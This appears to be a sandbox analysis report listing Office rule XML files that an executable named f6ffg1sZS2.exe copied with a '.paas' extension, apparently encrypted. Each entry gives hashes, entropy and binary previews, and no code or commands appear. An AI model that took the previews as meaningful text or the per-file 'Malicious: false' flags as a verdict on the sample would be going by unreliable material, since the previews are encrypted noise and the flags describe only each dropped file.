Preview:	<?xmlOP..<\|....%.....{.3?K...........iyK..=.....5qE.O b&.....F.......9./..C..g.P.tH&.......N.V0.u;.....Zk.g......Y.S.~mA.Gc...h..z...QGrp.p0C...z...6......Y3.w(y....XgW..sc."nI..f@.}b..io.n..f.x...F..x.UW.+GQA.........t}.k...>j.......".n.S]..D.8......N.i.. z..=.5^...x.I.=.......yL...k`_...^.S...O...1\|..'K.]G.....r........a.1..~"..s.J..2x..sN.A......p_.....]...T.}.PZ.+.4....b.Su.p..<E..U...[.~\|B.....l.6.;..'<.0^F.6y.!d..7.17.\|...&^..}\|...!..lh\:.,...k....K...*pg....1V>k.. .;...X..P..F\|...0....).P..\}..;.x_...f..d..F.....C....=....#h_ .9..m.#.....=...E.j.'$_..cG....\|H..=...z.....s..2........&......@....sE...3B./.B...Q......P.Zi.......h..C....f...t.K..o...WSA.h.N.wF.i...j...%..t.0w+.':..:b$.]..O..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943166649761898
Encrypted:	false
SSDEEP:	48:4cSG9iTbo6CYCpYHSvh/r/uECE2WkNfggLPGCL8I1l6GNbkie3UnRRdONokhqOD:4tBTk6CYCpjvx/lCEBG2CLpXld6ovdjm
MD5:	E68322FA9EC63D83D03F9E512320125A
SHA1:	EE532C5F408A998A0936AA3D7CE172DAA7D74782
SHA-256:	724D4B94982098C69A8B3B24A78A0748B3363AC9FA70C4E6A1CC48A66A4B4784
SHA-512:	F24B9CEA3D4CC1D1243DC3CCB04BB5A8C9357EC01CCD9DF61FBE7D132C0B5C594CF0E27332691D622ADD94BC6253131C7EB1208C5D4A56462A03F528E243F30A
Malicious:	false
Preview:	<?xmli1..z.5q.nh4c...V...0........2..=...+q...4......z....9.(.n..$..l..uU.=g....P...e.`o....F..0..g...C`.N.[U...:.Y.'...7&.b{..:.Gt..8.. ...{`...n.._.b.dS/........ /./..$..$....6vC..K..,.....U..oE...@...........c.....M.b.E)N..p..z>m...xn,.^..rB.0Kh.HP.n..\..aI..B......e.tLS#kC..{Z].(..mr.1!5<Zi.K...e..L.S....&.T.K.@.q...KQ7.<U....IT.2}...I.CY..6u....-..R.Q.pG.e...b.U.A.bO....o.1..=%...rT....M#Vu......D.t..+.....1.z.....mf.t..\..{i9.)..K.j8..o......!..e]..M.........Y....E...(.c6.@.:Eh..]....).0+=v.....N..v..B.)_..J....z.j....:.(%\.........W.......E........c..1....g".Srn...O.%.6....<.; ]...GuK.G....".G><.`..ek._o.7kv....8J..-<z.......^...k.....i..N$U?.~...S...X...D,'..U.7.......<n....eG.'Y..N.......\.6$...l..t.!ED...&..Z....\.#ty..0....GQ^.dY*.!&/..{6.a.3.T.}.....\|w`.Yp...z......!.../...I. ..1N'Eq._Yx...V.._..d.M.~.....h............1..}rk].2.....\..J...........p@}.....9..}.....6N..!.q+#.S6..BT......}....j..E..}.... >.}.....x.U...Y....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.782614943354723
Encrypted:	false
SSDEEP:	24:oJ1LsA28a3owCTft9GfzNPYnemanU0uH/SbD:ILsA2BYrLt9GfJYnem2hC/AD
MD5:	BD5CDBF5476A848863BA9ED44A5708A5
SHA1:	51C2F8E7171D509D8FCD42EE44FB40B5B325A026
SHA-256:	EC195E859CBEDFAE501C0F27D74CC6DF581BB0D9CC0620B34E616F43563C9963
SHA-512:	07F47AE408BF5DCCAE314831DEBDE537535B4DE3AE3AAAC6770D04AA7297628909D63B032EF60D28185800566D135B6FA8BF7808165EDF046901C7C06082833A
Malicious:	false
Preview:	<?xml.F./....1.M.C.+.3...`..E.......b2j.....cj.......5-0...\...2...e..]}.. ..$...4,@.`E...3h..H..L.IS..Ju...._h:I..\|.T..........-...y...q>.eY...}.M...X..9..Z5....8..Gg.w.&l........j...+>Z...sJ..m.Mn&....+....g..9/.v...@%OE...1....C/6....'.....H.p.w0...+......t.QJ.l...a"s.i.=)..e..[B.yW..i..\|.D=.1".g...!.}v...6....v..1.1u..Z.."S~.,.O."..En.....{...^Y/......Q.]Op.0 .C..<.....Mu0....3{..........a"..6aNn...(.(ZL..&U.2F.et....'.(k.o.....5s.W@..L.%........-...6...Ca.q.v..i.U.....I#....)... j..4...Q...[.2,..i......`....{...L.0..}.J.......-....S...n.n...F.Nz.S`..K.....&.e.S.?h..i.!..".]..........[Hn.ZP.w..\.ok/Sf:w....L.H..b.?..H/g..6.a.f....(2.1:....1...yZ"..n..su.1.h...FA.Y......0..y.k....7...w.B<fQ...$s&.t7..-......3.4..z_5....\-..._.....p.!\?...S...J...."S....z............=. V...i0.2.....Na..=&c...S.....I`\%....3Ui.U...1..._y.<.8... q..-.{.w.g...d......5.?_7.....Wr..0.._........d*TLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.855159583018122
Encrypted:	false
SSDEEP:	24:o3ZMVss+gPCrjZzYs7XTaCU5nqr9xbfmmTPgAXYbKmVRi3F5KDWEhbD:Iy+7rtzYs7XTWnqRxbfb4AXds0F5KtxD
MD5:	629DC71AE5CE41E213B802FD6EA5E82E
SHA1:	44D7C8CBF827154C5F6B9E0321A3B9CB663D5440
SHA-256:	35170F17311B8C36480746D66C5CE1AF81BE8B0DA2E9DA21190E5D2E3A859CDA
SHA-512:	48D057581A544C08613C01B4D551DA509032EE2A948C9F43C9EFCD8DA7D4A5D7BCF147C1E260E494EFACCFB432DC48C3A844D8612567206D3335E002B6A011EF
Malicious:	false
Preview:	<?xml.a.#.m...+.I>L..)....8........g"z...G...D.3{..d.w.7.?.r-.K...H..f....!<#..cF:-......A3>.nq.,..mg.lT....y^..~\|..T....?..{.R<~.WN.`] ....;...~8Ya..<R.sF..S...S,~.{.?n.xy....y....f..s...86KJ.D%...S...7.......>.l..R5..4...n'!.WO........8....T....0.!N.....U./...?....^.!.l...&w..I+"y.H..)0.:B...........E]%..R..\|U]......Q.f0TyZD. ..@(......']...V..1...7.N.z.i...,. .-..3.X.....fe^....T.s.\.+..[Ol.....A.....vV...Z..h[..Q.l.y..v...t...........>.f:.....\.M...?.#....m.....'.<....(........._[...._7+...9((Q...X..,....\|.00.[.&'...3..@.H....rK.?5.pu.B.T..i...n.KP.w...n...l.C..b..@...I..#J^..\L.@.KcN;.}.....8T....w.>V...f.U...H..j:..B..f.hy..)j..h..RWt.'.m....G..`..fxt..%8..%(.V.8g.... jb.%1..0.k?).......Vp.8ic.C..;.<..]..::.1.T...1OWKst.=..z.m...(.J4..f.0..O.vq......T*D.Y..a.......@q.=jbq.Y....!.&.(.W.J..S.......v&.u....x..2.......) .o}....S...w&..(.+..)..F..H.m.Ndj...S.....~D.G.i.%.n.S.........gyj............L..d...h.&...\|.3.....[~.4/...v...0......r.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7784481543104524
Encrypted:	false
SSDEEP:	12:qudTRFSVSXR/J7Lha5Kj6eBwGqnvj3CQfhWTgtuFdMHe99RqrxKTI4PS2cii9a:qAts0B/a5a3gjSqWQkrmgFbD
MD5:	9F9670803F1E84C064859BDC7E613DF1
SHA1:	5BF90D74B949377D35039672750DE502605EDBFE
SHA-256:	C166E1A9D3A1812A4CA5D856A1BBD236125A682277005C27A4793464E5F0F672
SHA-512:	EF45D2FFD29BE1AD80A579902C65092BD8077EAB4B3E71FD88CF8784E4D53A5BB5D6727D372C1BBB90AD5503F16A3517072A0C9095F853A7EE594AC286DB1146
Malicious:	false
Preview:	<?xml.T].Y..8{:>..Y[.eH...~......G.)[....S.M.0S{..R...G .KK.....v;.Qs...i=.mZ...4...-.~....@.[...S...N.8..H]{...m.K...O>.J!E..h.\|.z.;.....u.....#n...K. ..>.)......E..-?T..P..:.[.1<].(...H......l.G.<[.....+..2..x}.2...Lz.6^..+h.Z........".x.}........w@H.!.^..L...l2...uqy...r......C.Z..}\o.....oQ.4..UbF]....l..>W...6.R..........qw:.xBG..v......R."..&.......P... @/RX..p.....wp..cT..FFU.d.O.s.p..v......}..:.V...N.....eQ......I{.K.#>.?....Gf.......og.~....<o..6.A.K'..B%...N.L..6....C.P\|9;....lUN......\|G...c......sE.[.mI...wWt."..\|.?@..l.`s.Al..........S...*..0..J@T...3.@u.{.....z5..l_.L....!.../.....(..@U.qDN.........\9k.A:...Y>.O...T...k..b:z8..2.].%.......h[2.<M......._.6H..o..l..?.+k..B......z]..,A.=.-.7.YJv...=.tA.bFf...Cg.KX...g^....<P.&.fk.-.......n;..T6.G3i4{K../.;AC ....<l4..[^.&...Z-..9l...].T....F..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.78160074064366
Encrypted:	false
SSDEEP:	24:F7/W4DDERg73SeRKXVwrnP1f6UioH2F5SvMKuHGybD:R/W4sRgmeRKGr0hvHGgD
MD5:	CA0B22EDEDD25D268213EE22B87E90C8
SHA1:	65107FE5BD20447FB0CF1928926A4078CC2C4FC9
SHA-256:	DC1B1553634089938CA9419BE00120816BCA2A221164913EABD00A08B6330545
SHA-512:	E4F99531256F62FB0CB91E5981B183DABB82AB082E6D8867097CD33646F89803F0D6E3461A5E7FEB13A6ED5C69158C6E21A7B8A6713985B130A346C935A97EA1
Malicious:	false
Preview:	<?xml..x...d.O.u.....b}...O.?..A."..y.."..GI..Jo..$P;...~#..F..A.{.r.......9.,.l.../<... ;....G...~aInh.5fi...rkr.w.....:..C...-F.S[..=u..k`"\.i6!..<W...eb...Aa^C...~C...<............U.t....&....jA.V=.....c.A..I.#.>[Ac.........B.o.t.l..,M.P...Q............`Z...,C..uMYAe..../.7g{........$s....9...3aY......?.z..?'1M..PUl0bp.aw..]..xW.=0)..g2.J84..,y.;.\9.4I...R.(L......j......@..Zfe....h..u.n.t.p+..r.%....V....S...c.`$.u..y.b..=P.`.Z...x.oV.Zz9.7...Z...p\|-x.o.......X..JB=.......L...R......5...:?m...Ee.<....8.E...GGH/....k..XU.;.5....\|7ohn.....C+oJ..W...Vv.C.....Q...5."x.gJ.1..../...;.....0..%..E......O..j..93...l...N.q.......C..._.....X.........(..HSK.T.{.G..o...0..6"&E.....;V..al.@C.D.....y..}Lp.d.kV.iFl....}...].=.h..."..@...4X...3.... 8....*.k..g..w}.269.0..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.794765121102803
Encrypted:	false
SSDEEP:	24:5XRLxT2bjj/D9fOTwZzrmDOf/1S2PDor2ZlpFaFEbD:5XL6jj8T0zrpfU2PEElYOD
MD5:	7AA1463F529669D9098222BF7F895170
SHA1:	72D3620EC8786B1B28C1AFEF13A289A9950CEE33
SHA-256:	3050F3FFB75F8735C22B1182567075672E65168A441F282D5191BAD4CE698AB5
SHA-512:	62498235793079AB9D250F754DCEEED0A7C13252A481175813474D02B631529FF79EE4DBC561B25BD8D7F1468B0858E2CF920A9D3C8E9D5E9FF1D1FD46FA0D45
Malicious:	false
Preview:	<?xmlh...k...k.........qu.%r/.hx..a\|......A.G.8.!."..;..{psuJ7..-..f=..p."L.L.;t1.;.8.....5a2...9.&..(....\t...-..W...H..X.^...o.g.......;.I.\...B.]..Fm.,.....:.7....!..Sc...pk.kTV....... )..t..8..G.....gl...B.....P.V.#....i..c..I1........b6.q.=..M.QI.\.Xh......0.q6L.k......P....u.RX..;I...X..D&.EGLJ....X......u^.$sY3x....X.. )Y.1).w.<r"ak..:`..;...F..2.........E\|].......7.50Ju+....y../..2i.....Og_....M.....M.f.:HOA..8.k;..S.RR..H+.G......u...c(.L.\..`. ...nM....u4..pmv.f\|...n.k_..gg<....j..=D..2".4...w?....c/2W...,.]j.{..2)z.4.i3..l._V...n"....Ml....^5k......jI...'f.....[._...b...Tx.....;..$...(.J~i..C._..lA..w...'.T.Y...T..O..mH:......~.\|I.C.....9.uZ.._...Ne.T..h....\...u.!...9...1[....._g.]]......p.7....6(..-.].uz...I...8#......a..x..;&.y`.......e...[.L...;e..w[...\!...q9.........:...,m...O*-.. .....v...0.2...OW..V...\M..TL.....Gl.....T...n.jm....(.../.O..3N....5..y.#6........PlLQbDo3EfIVHxGuJOWRJdmxgY66rD6

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.747234853765502
Encrypted:	false
SSDEEP:	24:E0ux60ZBc4cmGFOQ6d4Vdo+bjAKTKdzQseSbD:E0u13XjQ68i+bjAKTazsAD
MD5:	D86F79E7E21A76E4B630458F47B9E9A5
SHA1:	404AFCC46055F14F1A791A18DFBFD9CE9227B4F9
SHA-256:	E86ACC21AAF780AF87263DAFEECD5181FCC104F96C1595F1374969FA121F8F0B
SHA-512:	BCF8BD2CD374DEACADDCD506C161AF614DFF7B8A8332B7761B69F1B47D95CDC61F785FBE6590490A42C616B793042C56928E491F497BE200EDC39638529ABB13
Malicious:	false
Preview:	<?xml..k]m.?....m.@O.R.wH.~....M.J...;i.fPz..=.n..`.p.......$........);T0w.....vY.nO...Rp...b..N......da.p.v....J..C.....3....a.cM$6'o.7B..v..O..c......1t...V..M.Q3...o.......Z.aCN$.....sc....)lx=..W....8v..(.\|r...?_bQP.tm.>.F.3..) .....0...NC...l... Ho.....0...V....h..z.Js.8BQ.(...P...i.."..RZ.....[.fK...\qv.<h....j.....Y......[..Qh{gNY.P..".!C.T.8.`K....Y=.U,Q(N'.......{..@.f...h...L.1$...._.&ca8....>..x!}.o...ars.mk3.B#.O.UZ...o!...Y.......&..z.53..0.P.....Uy..b.@........i4..t.${N`..B....U,.zCQ..,.....3!.h#....:8.I.=S.>te..(....i... ..a.Q..w.........W.BM..Ye.....d.U..:.......c.~.~.k...B.L{.....tob...6..\|aH....~2...6....ymxN.]..V.z)...@.m.~...%/;{..2.uQi...^.....\...It.\..uG......!kd..t.x.....e...k.(..L..{.9...0v.3<.?.&Y.)....ED....b'd...]..%.DS..EG&....>LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976693395803605
Encrypted:	false
SSDEEP:	192:PNqtMP66DnX4N9fqrY9/NR/pxWNDOantqet:PeMP66zWuY9/nOEanQo
MD5:	F362A425D31DB5427FE654FC38519ACF
SHA1:	292409CB18BBD44DAE99059DEB4B24020910AE6E
SHA-256:	1978B323A3F90CF431D2ADABFE36D2CA09ACFF2AA9720B1C7AA2CCA85CE2DFC8
SHA-512:	4140471D061063735B329097D8B4FE68EBF4ACB5E9073D3E315B0A06FB2F42BB84578D611F8016EADB4C5D442A844A12C91AEBF758209FB6E2AB725C3FA8A26E
Malicious:	false
Preview:	<?xml.c.(&e........%.f..Rr:.....&.2.{{zR...../.....iV.a..#..OX.O......._......zT*5.1`H..0.Mr.....c.....C!......JG....nT.i-.....u..T.No.......W...g.$`P...5p/.\.(g...G.kD.n...3.D..vi.W ~gjH...........:.(.Ao.ou[jU...hy...b...5..K....h^..J.)...t.$ 9z:.,.C@{.....7S..J3.P..K(..I........X.O.K.@......^`=..Z..S.9..M#0FVo~.].aq..gB..r......@.-i..$..Q#1;...'.y..wR......m>.............f....h.........x.....p.wi..)......0....O...D.w.....!RD......?:.45JI........"C.-/p....0.)........3....B$. \!<..x...=.KWb.\|Yg&A6.....O..\....J2sx^%..o.1\|.O.....yx@....T..._.....98.0.y=]d..\..3zst....sQ.u..:b.K.;...Xo.\|vc..c.L..Z.D...@t.y....q{md_.N.:c....M. .Y.f./@....p.u........._.....x.t.i..(.0..+...QC.....H.......@.}>.F..\D.-.....K_..Lh....D.....x.=D.s..{K.d-.`QK.....E...F.s...%.H.a..]JO>q......Q.q.8.......P.B.......T.L..)=U.i......6.u.h......V.....S._.....A],]m..?.!...["......f.R...;c...kOP...6..G.E....a=..H........1....;.s/......m.(.LVB........ ....[.f.l...@.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.852709682099457
Encrypted:	false
SSDEEP:	24:uU929a7/+ezOzfnFA5LyVyCVrJ+IwLXOzDrC/mpIJ4CdcLMl9b5qMnaR/ZbbD:uJ9TlrnFuajj+9+zvZIJ3dGQF2VD
MD5:	90A092E6EE4557AB358D7A7A02CB33FD
SHA1:	AD360E51BCC4FD8B359C101A43E4A0F97F00F017
SHA-256:	7CA03CD2E0183AC7007822CCE636CBBA31F4CA4BE86A44ADF69DCA16803F2F8D
SHA-512:	F3D0D71A2229AE48840B709EDE4C7189B997304DEEB61980B5AB15562663CA1CC02052A728B71A1B3C08B4B711BBC0891A91514CD829CC42DFAED55FAC155915
Malicious:	false
Preview:	<?xml_.<.5.0.68....~....~z.<....K..\|..c.....XT..4.%$...0c.x-.....b..T..;...d.6. .Y#C5.0;.:,8$f..4.ne.(.A.a..0.....)>.xq.r.<t...V)[......F.....lp.e..T....x..c;(...e.Y)....Mu.....s.....AWs.\..0A..R....ww...M..:.....L.b..-.I..\$.....)b.....&....[.g...W.I.L..@....G........c.......Bo.6....9.c..D...Z..6......lsQ.....(.wf=U...i.....)`)UXV.f.y(``i.G..D..h1X:.].l...G.E{n`.{.7.xp...0r..?.>.%...-.uL.(}8.7...&.....RD.5...cG...y8..\...D..WE....+_.{..]P..$......$.%......h$..>..pw.lw..h..WOh.._3.Vu.nH..Q5.?T 1....b.......I.g6~a..<.f..G....R..#.........a..O4...Z.84.6@?4.p.S.b9._.&t.`..o....n.......Y.I..>..6..I..?.\....z...z./....y..Q..=...+ =..mn.;\....2q....e...Q.(.k....L.f.B....\|_....r.[...-....wM...)/q(..=F...........QR.!.{.....M.N..&(.. ..Tm..j.\ev.6IhV..{05S.....R..w..;..Tt....\........rN.....<..#.mp..(..!+....".....%'2..%..kH.N..c......_...M.....\...B..:l....8....i'../..2.!...3_...H.........$&.]y.XM3I.$Q................ M..S1.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.789007031278988
Encrypted:	false
SSDEEP:	24:5q3Q5P3ieUH7c2ngaH3PWa9Bbg0lWcOewhfjn1+p1LAEBbD:M3Q5P38Hpngaft9BMQ6ew2p1D
MD5:	9CB799C99E83B9770FE87A6C18580C84
SHA1:	2722DACDB2AB740CD28884504E64006E508C43ED
SHA-256:	B7FF9628F8C3B010A860E577D03EB0D1CE47599637062884BF5E681D196CA5D1
SHA-512:	BC81BDCCC71DEC2DEBDF7F96FD9AAF7D03030AB73E2057587631479E148CF816E35019DFD08EECAD87BEA2A8B01DB03C8B77E2B05AD734F8409F1C1FD5C3CCB1
Malicious:	false
Preview:	<?xml&......M34.g&.}k.........../.. A.+6P\.k.O\8=+.....rr.--..W...7U..........U.H..G....y..i$P....M0....m.\fM::.Rf.......a..U\..F4..g.....l...{v...17.O...y.%8FJL)..&...m......0R)..._f...;.,. jys.\|..e.'1-...x......$N...G.....{w....f.k.A.k......[.$.. U'pc.B..[Qc.......{b.m..............I..t.\.....b.....}C....Wu....^N ..=s..+..#.Z..~.Y.....>..2.].Q..Vl..!<.8.2.t9...N..k._>.]~<....M.BH02D]... r`u.~.\b.....)l..b..i.....Nj.....]..W..J+".9dh..p..<..!E......=+G...m2w....P.=..?..W<.~O.....H..>aM.%...V.......$..d.7...qp.G.riI..;.b.......=\|..~....;Z'...H....f.my....x1O..l:....c..D....v.......^..8..{8.f....0$.;.P.........]Ax`..C`...r..T..=L.....PA....l..L....d..pQ.o.."..^...8.'..I.k...S\k.#p._..U......J.[..^.Zf+.u..........7...."..^.........A....m .t..L..,4.....i.Mb..Y....8.G.w........f.D....i0..k...._~.&A.^..1.S.....dLoW...Q...s...._..l_.]}..u.....#.J...u....H9..m.;\W...o.]...'..5.H.....L..p.f.ify. .TX.....P..R...srh._...?..u.vP..`.....Q..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.803800633237265
Encrypted:	false
SSDEEP:	24:S4LcjGg1jR/6aW1ORzMUjo57OVfYQb9+AsXQkFlaGKbbD:ZgjyaW1OzMUjo57OdYAtsJ+fD
MD5:	21E657A3367779B457CDD3A0B44C0826
SHA1:	3555044FE94DC07AA1B4BE136ECEB1B2600A9FE1
SHA-256:	6387BCBE0B98B2886070909E8310BD33FF502CE6908CF595002EFA178389A0DE
SHA-512:	0F3FD538180EC34447146786919C0857ED039CFA33DDF1541963B348DE5FDB1D6DEC9107C93351FA395BF74D64465079F2EFDF06E86401DA93FC1A669160E50A
Malicious:	false
Preview:	<?xmlS3...Z?5.w..{..03.p.....0t..i.5..t....W.....c..l\|Vl:$.......ov./\.>.. .`.U.<o,.s....&F..).Zj.jm...b/p.}.......\|fC....J.....).........^...=>I..O.....x.}4..?..o....Hn.=`-]........ ...f....Iv\]#..$.~w#.$y-.G..H..e..(.H....9.2....`9...'..x{3..E..;.72.^t.......q,R...5p\|\......I=..9...=.p`.....}.s. 5.......R......i.u..2.O....O&;.2..I....4}6......&.F......X..S.k...r.{w..JB4..S.......{2../g..........\..........]%V.&9.{O..~M.Y...9.Y.%E.5(c..Dd.....n.._.h.9N...-.o.0.s...y..MPA;W4K.._dn..]..-...~-.U@:...>$.........p....rf....R..Z...Tl0\|..v..<....@.m..+>.\|..sD.~.^.....".4...,c.HI...H./.o..d...j.;r..\|D... ..cY...]...:..-.^Z..E.....R......T....[C.7.~.0....,.fQ...Yb....P...?Iq.#....D...1y3xX0.L..4I.+..8.{.by.i%...".^..k.cL3D..x.....R....ZC.7z..Xc^....(.=..Si...5d..;8......[.>:..=_Xc.....J>%.zE..'..]P.....{..7 .,_..I....7....G....4.c@.E...$....V.G...Z...E..........,!.S..I...S.=..w...._l....<......c.K..Q.\z...'GM.?.../.....#.........bPMLQbDo

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.9474202553827515
Encrypted:	false
SSDEEP:	96:ejZGAH4cveWM/8rYY/9IzbqBYwjkUMl7O:UZOo2Urf/9Aw4a
MD5:	9E9F73473186A10FAE3D83D43E925B7E
SHA1:	5980ECCE36E15DA56538DA1D9887134E88222BB9
SHA-256:	5FC394BFB5D13C3367BDE5CDE155AEF0C0B6268D07D67149F944B8DCA00ED1C5
SHA-512:	F9D8DA06E5FE12EC7D93A883451416BB9C23F402F322E2D06F7399E23A0B392C55A40EE981DBC3BFB88BE695B4C31D7C8139B2738BF0691DBBA2EFE90D781F41
Malicious:	false
Preview:	<?xml.....NW...B?......F... .c.h.bG...$V.....E...VW.bl.}.>...t...E}........-.....S.G.~....C.Y....r.,..-}K.r.,....e$...nO.`H...\.^.....T-..-.a......a.ALy'[ O.uH........~..I<..f.e...["`6....G.cb....<..M.Z.I...8.6......y8..$..V.=.....x...@...............?....0x8.m...ku, ..sE..3..C^.o7../E....{i...`.ptt..G.{..@.r.......K.~.. Q.hr,...1..E..O?5\|W.Y.a.o....}...`..b.5.....p....,.....e..!<.Y.k.........`. ....V...B...i..6...FW.p2..7....L.....@...id...D_.2.....J&(.....3..'!7..Y...6...E.7..-D..s\..5...C...Fc.w.5..G.z..q.....1C.....;H..<0,...B..,..jm..QzA.3`..\.....H-#.J#.........2Ew...q..Fvxr.1K$=,R.5.-..R5c...X.".v.Ze....h...m...Bd..e.6>!lk..K.1O.rVqA....b...K=.A.j>...p.f@.O<...D...\|..`..N.@ND.:..i..<.w.H.$...9X....7."`..<..w.....FuJ4..p.........>JH..o^B.gLr.d_S...p...w..1,......}/.c4.t..a..0..^4....B...L...d..wHr..\|.]^8$j+?d.R..nHdsD.C..p..5......`.....-o..<(...GMu.......2...`..v......P..L..g.b.vx.(...>..t.r....B.i.}s..~.....p..s.......H.'!

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.833387061774254
Encrypted:	false
SSDEEP:	24:dZyOdvy24knnv4ZkMqKodLA9QDEhN0jO4e7RSa469skhBy71xTZobD:mOtkanQZkBa9d2jO4e7RrhM3yD
MD5:	98C20515192876EC373E959B881626B3
SHA1:	0F31551555DC40B02854FE36E4267071B047F526
SHA-256:	919E087EE134F2C7339776FB9B8A81BC48689233F463D870110AB8CFAD076ACC
SHA-512:	11FC26C476D6CC4B0F0F3EB2F4598011F469AE386E84A455162ECF1C0266CE95DC715668A513E86670D84793590D992A4B5A5CC98A44582F121C606D1487341A
Malicious:	false
Preview:	<?xml.........mD...^...a...3..2j.S\..}........yv.....\p.S....w..A...p...GJ.e$q.V.An=.....]N....h.P1..f...O;.O]. ..E8A..3..w8u\...5......;.h.u.2..%..j.[...F6.....=..5..#..p.r.....Z.......T.....)'.....h.aqr.............xCv.,~.....e.....1..0.l......9.F....)..7{Y..u..c..N..B.......z6cU}q......x....C.......$.N.........p.qcs...F+v...%#..f....?K.7=....@^cR..{,..u..O.....h.o.]-.+.M.,. &......5:...36......dJ...G&.....&o.{.....q.....X<.\|.!..S@.......Y...GAY....,.`T~...M.X..4..9.<K..J.8..o..zM...NQ....:=.Tq.......LG_...W.a.%...1...q0.r..\|.f......{/.l....f."?.....F$.4..\&Lg>..O.....^...c..Gs....a.......F36g[Ob%..X].K=l.........aB.....].#...<....w.a...3I....?..+.f.r.#@.D..a..)...O.4.,..}...j.!{.......A.~...K5z...a ?....q......i.[.k.N...s,..n .`.v.e..M..FD..?...5.$....O.y...%t.,.T...RJ.......!ZdP....o....&.. ...d.j....a......7n..w....o;.....P^..'l.].....,..O...f.x..[.......rM....T..t2>w.jb.-.....R..8.Nt7...-.4..#.4..6..~...P...0.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.975304933203116
Encrypted:	false
SSDEEP:	192:oRqMtkRlVKLvbNr3F5THpZY/TuIFo991sE9xy05R:oRqRfKbbNr3nTHpZY/tof1pR
MD5:	683C76C556D3D18230C5429A39E7FF4C
SHA1:	D3EC16114994D603C52B9AE2A9CA850C262A1802
SHA-256:	B654283FF3D581086C6DDCCCBFD961A41A8825BD0D7925E278F32A175AE7C32F
SHA-512:	E9360EEAAC2382BC843FE3F6FD9E18BF44818EAC820C411EBE6089319DD818C554B91AA83F001B74371C4BEBEA34DC506D5CA04B88D261AC0F13B6A0D26BB148
Malicious:	false
